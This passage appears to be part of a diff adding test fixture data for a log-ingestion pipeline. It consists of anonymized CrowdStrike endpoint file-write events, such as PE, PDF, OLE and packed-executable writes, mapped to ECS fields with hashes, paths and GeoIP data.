"entity_id": "6609070495594", + "executable": "\\6ba0bd\\447b992c\\d598026\\1c467339.exe", + "name": "7592a3326e8f", + "thread": { + "id": 290000250300138 + } + }, + "related": { + "hash": [ + "9080600092" + ], + "ip": [ + "81.2.69.144" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "8200073020", + "ContextBaseFileName": "481bc1a027f891f9b", + "ContextImageFileName": "\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\f89ea270\\d001f1d.4\\b5860c81.exe", + "ContextProcessId": "211820800920708240", + "ContextTimeStamp": "2025-08-25T17:32:23.835Z", + "DesiredAccess": "5060417", + "EffectiveTransmissionClass": "3", + "Entitlements": "66", + "EventOrigin": "1", + "FileAttributes": "0", + "FileEcpBitmask": "0", + "FileObject": "0", + "Information": "3", + "IrpFlags": "2500", + "MajorFunction": "0", + "MinorFunction": "0", + "OperationFlags": "0", + "Options": "66717670", + "ShareAccess": "1", + "Status": "0", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "182d52dbecaca7970cb63c42addda760f512", + "name": "af0673bdd782d244e9c" + }, + "device": { + "id": "d6c18cb814c9100d81bedd3b4290407f" + }, + "event": { + "action": "creation", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "182d52dbecaca7970cb63c42addda760f512|d6c18cb814c9100d81bedd3b4290407f|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ContextBaseFileName\":\"481bc1a027f891f9b\",\"Options\":\"66717670\",\"ContextThreadId\":\"270140900130850060\",\"MinorFunction\":\"0\",\"aip\":\"89.160.20.128\",\"Information\":\"3\",\"FileIdentifier\":\"3983fc13457464a741b39fba5bb2260604ddb049477359f2\",\"event_platform\":\"Win\",\"ShareAccess\":\"1\",\"EventOrigin\":\"1\",\"id\":\"182d52dbecaca7970cb63c42addda760f512\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"FileAttributes\":\"0\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"NewScriptWritten\",\"ContextTimeStamp\":\"1756143143.835\",\"ConfigStateHash\":\"8200073020\",\"ContextProcessId\":\"211820800920708240\",\"IrpFlags\":\"2500\",\"ContextImageFileName\":\"\\\\6ba0bd\\\\3edfbf1f\\\\303abfe3\\\\45ab82\\\\3ca2a2ce\\\\f89ea270\\\\d001f1d.4\\\\b5860c81.exe\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"DesiredAccess\":\"5060417\",\"Entitlements\":\"66\",\"name\":\"af0673bdd782d244e9c\",\"OperationFlags\":\"0\",\"aid\":\"d6c18cb814c9100d81bedd3b4290407f\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\3edfbf1f\\\\303abfe3\\\\45ab82\\\\3ca2a2ce\\\\481f1be1.config\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "directory": "\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce", + "extension": "config", + "inode": "3983fc13457464a741b39fba5bb2260604ddb049477359f2", + "name": "481f1be1.config", + "path": "\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\481f1be1.config", + "type": "file" + }, + "host": { + "id": "d6c18cb814c9100d81bedd3b4290407f", + "os": { + "type": "windows" + } + }, + "message": "NewScriptWritten", + "observer": { + "address": [ + "89.160.20.128" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.128" + ], + "serial_number": "d6c18cb814c9100d81bedd3b4290407f", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "211820800920708240", + "executable": "\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\f89ea270\\d001f1d.4\\b5860c81.exe", + "name": "481bc1a027f891f9b", + "thread": { + "id": 270140900130850060 + } + }, + "related": { + "hash": [ + "8200073020" + ], + "ip": [ + "89.160.20.128" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "10050074", + "ConfigStateHash": "9080600092", + "ContextBaseFileName": "7592a3326e8f", + "ContextProcessId": "3609070495594", + "ContextTimeStamp": "2025-08-06T04:01:50.026Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "36", + "EventOrigin": "1", + "FileCategory": "2", + "FileEcpBitmask": "0", + "FileObject": "0", + "FileOperatorSid": "S-72386-31002-81578-35580-81320-88994-11078", + "FileWrittenFlags": "0", + "IrpFlags": "0", + "IsOnNetwork": "0", + "IsOnRemovableDisk": "0", + "MajorFunction": "0", + "MinorFunction": "0", + "OperationFlags": "0", + "TokenType": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "50b4564705009d4d899b257c4f60806debaf", + "name": "52f49e17cbb3258ec" + }, + "device": { + "id": "e4a077554af537da06f56e39976d4420" + }, + "event": { + "action": "creation", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "50b4564705009d4d899b257c4f60806debaf|e4a077554af537da06f56e39976d4420|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"FileOperatorSid\":\"S-72386-31002-81578-35580-81320-88994-11078\",\"ContextBaseFileName\":\"7592a3326e8f\",\"FileCategory\":\"2\",\"Size\":\"70097\",\"ContextThreadId\":\"290000250300138\",\"MinorFunction\":\"0\",\"aip\":\"89.160.20.128\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"938e82c7b12a104fa76dcbeb0307793c9ec98bea974f8770\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\237ca1ff\\\\9f8125ec\",\"id\":\"50b4564705009d4d899b257c4f60806debaf\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"OleFileWritten\",\"ContextTimeStamp\":\"1754452910.026\",\"ConfigStateHash\":\"9080600092\",\"ContextProcessId\":\"3609070495594\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"10050074\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"36\",\"name\":\"52f49e17cbb3258ec\",\"OperationFlags\":\"0\",\"aid\":\"e4a077554af537da06f56e39976d4420\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\6b0cc\\\\08cfe5\\\\0f51ad6\\\\813ded8\\\\c7bac469\\\\d598026\\\\690dbe\\\\e6e3e8fa\\\\5fcb82a8.automaticDestinations-ms\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "device": "835\\237ca1ff\\9f8125ec", + "directory": "\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\e6e3e8fa", + "extension": "automaticDestinations-ms", + "inode": "938e82c7b12a104fa76dcbeb0307793c9ec98bea974f8770", + "name": "5fcb82a8.automaticDestinations-ms", + "path": "\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\e6e3e8fa\\5fcb82a8.automaticDestinations-ms", + "size": 70097, + "type": "file" + }, + "host": { + "id": "e4a077554af537da06f56e39976d4420", + "os": { + "type": "windows" + } + }, + "message": "OleFileWritten", + "observer": { + "address": [ + "89.160.20.128" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.128" + ], + "serial_number": "e4a077554af537da06f56e39976d4420", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "3609070495594", + "name": "7592a3326e8f", + "thread": { + "id": 290000250300138 + } + }, + "related": { + "hash": [ + "9080600092" + ], + "ip": [ + "89.160.20.128" + ], + "user": [ + "S-72386-31002-81578-35580-81320-88994-11078" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-72386-31002-81578-35580-81320-88994-11078" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "1046050", + "BoundingLimitCount": 10, + "BoundingLimitDuration": "2486640", + "ConfigStateHash": "205997984", + "ContextBaseFileName": "f8d3910f48a", + "ContextProcessId": "3902807870001", + "ContextTimeStamp": "2025-09-13T19:54:25.081Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "16", + "EventOrigin": "1", + "FileCategory": "2", + "FileEcpBitmask": "0", + "FileObject": "0", + "FileOperatorSid": "S-14916-87933-54904-21020-22768-89969-67859", + "FileWrittenFlags": "0", + "IrpFlags": "0", + "IsOnNetwork": "0", + "IsOnRemovableDisk": "0", + "MajorFunction": "0", + "MinorFunction": "0", + "OperationFlags": "0", + "TokenType": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "fa7433e86a344c7c471c159189a5d9e46b61", + "name": "7233ba49d5aea975e9d" + }, + "device": { + "id": "4274e60578e437f258cd288fc421c898" + }, + "event": { + "action": "creation", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "fa7433e86a344c7c471c159189a5d9e46b61|4274e60578e437f258cd288fc421c898|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"FileOperatorSid\":\"S-14916-87933-54904-21020-22768-89969-67859\",\"ContextBaseFileName\":\"f8d3910f48a\",\"FileCategory\":\"2\",\"Size\":\"4008\",\"ContextThreadId\":\"406830433040004\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.144\",\"IsOnNetwork\":\"0\",\"BoundingLimitCount\":\"10\",\"FileIdentifier\":\"fe69780d23fffd9b5ea4d464cf4fe53f8d384cdc38b47460\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\4db87fa6\\\\901bda80\",\"id\":\"fa7433e86a344c7c471c159189a5d9e46b61\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"OoxmlFileWritten\",\"ContextTimeStamp\":\"1757793265.081\",\"ConfigStateHash\":\"205997984\",\"ContextProcessId\":\"3902807870001\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"1046050\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"BoundingLimitDuration\":\"2486640\",\"Entitlements\":\"16\",\"name\":\"7233ba49d5aea975e9d\",\"OperationFlags\":\"0\",\"aid\":\"4274e60578e437f258cd288fc421c898\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\6b0cc\\\\6a5005c5\\\\0f51ad6\\\\8c31e\\\\d62f\\\\6\\\\9628fd57\\\\93\\\\697ee9b1.thmx\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "device": "835\\4db87fa6\\901bda80", + "directory": "\\6ba0bd\\447b992c\\6b0cc\\6a5005c5\\0f51ad6\\8c31e\\d62f\\6\\9628fd57\\93", + "extension": "thmx", + "inode": "fe69780d23fffd9b5ea4d464cf4fe53f8d384cdc38b47460", + "name": "697ee9b1.thmx", + "path": "\\6ba0bd\\447b992c\\6b0cc\\6a5005c5\\0f51ad6\\8c31e\\d62f\\6\\9628fd57\\93\\697ee9b1.thmx", + "size": 4008, + "type": "file" + }, + "host": { + "id": "4274e60578e437f258cd288fc421c898", + "os": { + "type": "windows" + } + }, + "message": "OoxmlFileWritten", + "observer": { + "address": [ + "81.2.69.144" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.144" + ], + "serial_number": "4274e60578e437f258cd288fc421c898", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "3902807870001", + "name": "f8d3910f48a", + "thread": { + "id": 406830433040004 + } + }, + "related": { + "hash": [ + "205997984" + ], + "ip": [ + "81.2.69.144" + ], + "user": [ + "S-14916-87933-54904-21020-22768-89969-67859" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-14916-87933-54904-21020-22768-89969-67859" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "50820000", + "ContextProcessId": "600400303060", + "EffectiveTransmissionClass": "3", + "Entitlements": "66", + "EventOrigin": "1", + "FileSubType": "1", + "SHA256HashData": "73954d484337197445100e89a7fac5e25964f5f3da4024f8c7d07dd840d4f4e1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "46fbd2ea624c1d37a02f228b5e07a641ba5d", + "name": "e1363774d0bedd151e540a3f0" + }, + "device": { + "id": "827afde25ba0eeda5d204a68ff612048" + }, + "event": { + "action": "creation", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "46fbd2ea624c1d37a02f228b5e07a641ba5d|827afde25ba0eeda5d204a68ff612048|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"PackedExecutableWritten\",\"ConfigStateHash\":\"50820000\",\"ContextProcessId\":\"600400303060\",\"aip\":\"216.160.83.56\",\"FileSubType\":\"1\",\"SHA256HashData\":\"73954d484337197445100e89a7fac5e25964f5f3da4024f8c7d07dd840d4f4e1\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"66\",\"name\":\"e1363774d0bedd151e540a3f0\",\"EventOrigin\":\"1\",\"id\":\"46fbd2ea624c1d37a02f228b5e07a641ba5d\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"827afde25ba0eeda5d204a68ff612048\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\64fdf48d.~BT\\\\104a\\\\d\\\\d598026\\\\ddd203\\\\de975748.2506_none_4305ee2bac2df612\\\\47776.dll\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "directory": "\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\de975748.2506_none_4305ee2bac2df612", + "extension": "dll", + "hash": { + "sha256": "73954d484337197445100e89a7fac5e25964f5f3da4024f8c7d07dd840d4f4e1" + }, + "name": "47776.dll", + "path": "\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\de975748.2506_none_4305ee2bac2df612\\47776.dll", + "type": "file" + }, + "host": { + "id": "827afde25ba0eeda5d204a68ff612048", + "os": { + "type": "windows" + } + }, + "message": "PackedExecutableWritten", + "observer": { + "address": [ + "216.160.83.56" + ], + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": [ + "216.160.83.56" + ], + "serial_number": "827afde25ba0eeda5d204a68ff612048", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "600400303060" + }, + "related": { + "hash": [ + "73954d484337197445100e89a7fac5e25964f5f3da4024f8c7d07dd840d4f4e1", + "50820000" + ], + "ip": [ + "216.160.83.56" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "107430", + "ConfigStateHash": "3000500100", + "ContextBaseFileName": "8bccb383613c62792a", + "ContextProcessId": "90797090022909", + "ContextTimeStamp": "2025-06-12T15:46:27.245Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "66", + "EventOrigin": "1", + "FileCategory": "2", + "FileEcpBitmask": "0", + "FileObject": "0", + "FileOperatorSid": "S-67387-98466-95492-13435-71780-89109-76365", + "FileWrittenFlags": "0", + "IrpFlags": "0", + "IsOnNetwork": "0", + "IsOnRemovableDisk": "0", + "MajorFunction": "0", + "MinorFunction": "0", + "OperationFlags": "0", + "TokenType": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "e3b7d2a5cd6687e005e8d8440762de1a5cba", + "name": "0ae43bcd866d0651b" + }, + "device": { + "id": "972c7871709024649af8a061337fe15f" + }, + "event": { + "action": "creation", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "e3b7d2a5cd6687e005e8d8440762de1a5cba|972c7871709024649af8a061337fe15f|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"FileOperatorSid\":\"S-67387-98466-95492-13435-71780-89109-76365\",\"ContextBaseFileName\":\"8bccb383613c62792a\",\"FileCategory\":\"2\",\"Size\":\"90700\",\"ContextThreadId\":\"599818020897405\",\"MinorFunction\":\"0\",\"aip\":\"89.160.20.128\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"b1bfcedc983f301364a3871d0def78ac0d8895b637b50e10\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\b9e65ff8\\\\3fcf5e12\",\"id\":\"e3b7d2a5cd6687e005e8d8440762de1a5cba\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"PdfFileWritten\",\"ContextTimeStamp\":\"1749743187.245\",\"ConfigStateHash\":\"3000500100\",\"ContextProcessId\":\"90797090022909\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"107430\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"66\",\"name\":\"0ae43bcd866d0651b\",\"OperationFlags\":\"0\",\"aid\":\"972c7871709024649af8a061337fe15f\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\c21d01b\\\\72cd25a5\\\\cf1\\\\8bda0e31\\\\dee65f00.pdf\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "device": "835\\b9e65ff8\\3fcf5e12", + "directory": "\\6ba0bd\\447b992c\\c21d01b\\72cd25a5\\cf1\\8bda0e31", + "extension": "pdf", + "inode": "b1bfcedc983f301364a3871d0def78ac0d8895b637b50e10", + "name": "dee65f00.pdf", + "path": "\\6ba0bd\\447b992c\\c21d01b\\72cd25a5\\cf1\\8bda0e31\\dee65f00.pdf", + "size": 90700, + "type": "file" + }, + "host": { + "id": "972c7871709024649af8a061337fe15f", + "os": { + "type": "windows" + } + }, + "message": "PdfFileWritten", + "observer": { + "address": [ + "89.160.20.128" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.128" + ], + "serial_number": "972c7871709024649af8a061337fe15f", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "90797090022909", + "name": "8bccb383613c62792a", + "thread": { + "id": 599818020897405 + } + }, + "related": { + "hash": [ + "3000500100" + ], + "ip": [ + "89.160.20.128" + ], + "user": [ + "S-67387-98466-95492-13435-71780-89109-76365" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-67387-98466-95492-13435-71780-89109-76365" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "830", + "ConfigStateHash": "90089570", + "ContextBaseFileName": "d3571e48e3804d61a8d8f51", + "ContextImageFileName": "\\6ba0bd\\74d33d26\\aa669\\1cb\\8dff9f73\\e49665bb\\51a\\97f4d525.exe", + "ContextProcessId": "3097482600003", + "ContextTimeStamp": "2025-07-14T18:34:34.515Z", + "DllCharacteristics": "0", + "EffectiveTransmissionClass": "3", + "Entitlements": "16", + "EventOrigin": "1", + "FileCategory": "6", + "FileEcpBitmask": "0", + "FileObject": "0", + "FileOperatorSid": "S-75678-67909-19006", + "FileWrittenFlags": "0", + "ImageCheckSum": "0", + "ImageEntryPoint": "4040", + "ImageSubsystem": "2", + "ImageTimeStamp": "2526530060", + "IrpFlags": "0", + "IsOnNetwork": "0", + "IsOnRemovableDisk": "0", + "IsTransactedFile": "0", + "MajorFunction": "0", + "MinorFunction": "0", + "ModuleCharacteristics": "800", + "OperationFlags": "0", + "SHA256HashData": "897ccaabed714b068888234743972924e15aee167c3cbc68f3c64a10751e73f0", + "TokenType": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "d5f767539bfcb8d8aede98bf95736a049e78", + "name": "5f323af958b5a344" + }, + "device": { + "id": "e8709208d980534971098b9a6fb8cf05" + }, + "event": { + "action": "creation", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "d5f767539bfcb8d8aede98bf95736a049e78|e8709208d980534971098b9a6fb8cf05|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"FileOperatorSid\":\"S-75678-67909-19006\",\"ContextBaseFileName\":\"d3571e48e3804d61a8d8f51\",\"FileCategory\":\"6\",\"Size\":\"36724\",\"ModuleCharacteristics\":\"800\",\"ContextThreadId\":\"60020000009454\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.144\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"cd3bc1e87072926155f8335b1c9ec29c91c2665caee05073\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"ImageCheckSum\":\"0\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\7f136004\\\\03bd69ab\",\"ImageSubsystem\":\"2\",\"id\":\"d5f767539bfcb8d8aede98bf95736a049e78\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"PeFileWritten\",\"ContextTimeStamp\":\"1752518074.515\",\"UserName\":\"a7d64dd9c23669\",\"ConfigStateHash\":\"90089570\",\"IsTransactedFile\":\"0\",\"ContextProcessId\":\"3097482600003\",\"IrpFlags\":\"0\",\"ImageEntryPoint\":\"4040\",\"SHA256HashData\":\"897ccaabed714b068888234743972924e15aee167c3cbc68f3c64a10751e73f0\",\"AuthenticationId\":\"830\",\"ContextImageFileName\":\"\\\\6ba0bd\\\\74d33d26\\\\aa669\\\\1cb\\\\8dff9f73\\\\e49665bb\\\\51a\\\\97f4d525.exe\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"DllCharacteristics\":\"0\",\"IsOnRemovableDisk\":\"0\",\"ImageTimeStamp\":\"2526530060\",\"Entitlements\":\"16\",\"name\":\"5f323af958b5a344\",\"OperationFlags\":\"0\",\"aid\":\"e8709208d980534971098b9a6fb8cf05\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\74d33d26\\\\d598026\\\\d62f\\\\c337ca0.tmp_dir1745907951\\\\85ba88.exe\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "device": "835\\7f136004\\03bd69ab", + "directory": "\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951", + "extension": "exe", + "hash": { + "sha256": "897ccaabed714b068888234743972924e15aee167c3cbc68f3c64a10751e73f0" + }, + "inode": "cd3bc1e87072926155f8335b1c9ec29c91c2665caee05073", + "name": "85ba88.exe", + "path": "\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951\\85ba88.exe", + "size": 36724, + "type": "file" + }, + "host": { + "id": "e8709208d980534971098b9a6fb8cf05", + "os": { + "type": "windows" + } + }, + "message": "PeFileWritten", + "observer": { + "address": [ + "81.2.69.144" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.144" + ], + "serial_number": "e8709208d980534971098b9a6fb8cf05", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "3097482600003", + "executable": "\\6ba0bd\\74d33d26\\aa669\\1cb\\8dff9f73\\e49665bb\\51a\\97f4d525.exe", + "name": "d3571e48e3804d61a8d8f51", + "thread": { + "id": 60020000009454 + } + }, + "related": { + "hash": [ + "897ccaabed714b068888234743972924e15aee167c3cbc68f3c64a10751e73f0", + "90089570" + ], + "ip": [ + "81.2.69.144" + ], + "user": [ + "a7d64dd9c23669", + "S-75678-67909-19006" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-75678-67909-19006", + "name": "a7d64dd9c23669" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "CompanyName": "48fd8e96569f1cb4", + "ConfigStateHash": "30820000", + "EffectiveTransmissionClass": "3", + "Entitlements": "16", + "EventOrigin": "45", + "FileVersion": "81.2.69.192", + "FixedFileVersion": "81.2.69.142", + "LanguageId": "0", + "OriginalFilename": "71f2cbc28fc61e5b304e", + "SHA256HashData": "ac64229aee8b0f73735a2170025a9b3e58dc0f6ea348b80405e8e0f43a137a78", + "VersionInfo": "67a713f637126c54cd13f593d789edab1bc1ef0908babbc9d9ee992e1cfb9937", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "51fdaf250bbe8ba7a3d2f76e5160dbcf2719", + "name": "510aa45e1032311" + }, + "device": { + "id": "f5f8341524ed1dd257646890be631aee" + }, + "event": { + "action": "PeVersionInfo", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "51fdaf250bbe8ba7a3d2f76e5160dbcf2719|f5f8341524ed1dd257646890be631aee|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"PeVersionInfo\",\"ConfigStateHash\":\"30820000\",\"aip\":\"89.160.20.112\",\"SHA256HashData\":\"ac64229aee8b0f73735a2170025a9b3e58dc0f6ea348b80405e8e0f43a137a78\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"VersionInfo\":\"67a713f637126c54cd13f593d789edab1bc1ef0908babbc9d9ee992e1cfb9937\",\"CompanyName\":\"48fd8e96569f1cb4\",\"FixedFileVersion\":\"81.2.69.142\",\"event_platform\":\"Win\",\"OriginalFilename\":\"71f2cbc28fc61e5b304e\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\c71dcff2\\\\150824cf.0_x64__v10z8vjag6ke6\\\\b9035\\\\48fd8e96.exe\",\"FileVersion\":\"81.2.69.192\",\"Entitlements\":\"16\",\"name\":\"510aa45e1032311\",\"EventOrigin\":\"45\",\"id\":\"51fdaf250bbe8ba7a3d2f76e5160dbcf2719\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"f5f8341524ed1dd257646890be631aee\",\"LanguageId\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "info" + ] + }, + "file": { + "pe": { + "original_file_name": "71f2cbc28fc61e5b304e" + } + }, + "host": { + "id": "f5f8341524ed1dd257646890be631aee", + "os": { + "type": "windows" + } + }, + "message": "PeVersionInfo", + "observer": { + "address": [ + "89.160.20.112" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.112" + ], + "serial_number": "f5f8341524ed1dd257646890be631aee", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "executable": "\\6ba0bd\\447b992c\\9134161b\\c71dcff2\\150824cf.0_x64__v10z8vjag6ke6\\b9035\\48fd8e96.exe", + "name": "48fd8e96.exe" + }, + "related": { + "hash": [ + "ac64229aee8b0f73735a2170025a9b3e58dc0f6ea348b80405e8e0f43a137a78", + "30820000" + ], + "ip": [ + "89.160.20.112" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "3440491101", + "ContextProcessId": "8080063970217", + "ContextTimeStamp": "2025-07-05T12:34:55.992Z", + "DesiredAccess": "5900", + "EffectiveTransmissionClass": "3", + "Entitlements": "86", + "EventOrigin": "1", + "ExtendedKeyUsages": "1", + "FileSigningTime": "1601400887.000", + "HandleCreated": "0", + "Object1Type": "81030550010000800400", + "PublicKeys": "0", + "SHA256HashData": "dca85177c59eb524d5339e3f884fc25933bba35549d4d94e86701f1de235beb5", + "SignInfoFlags": "932000", + 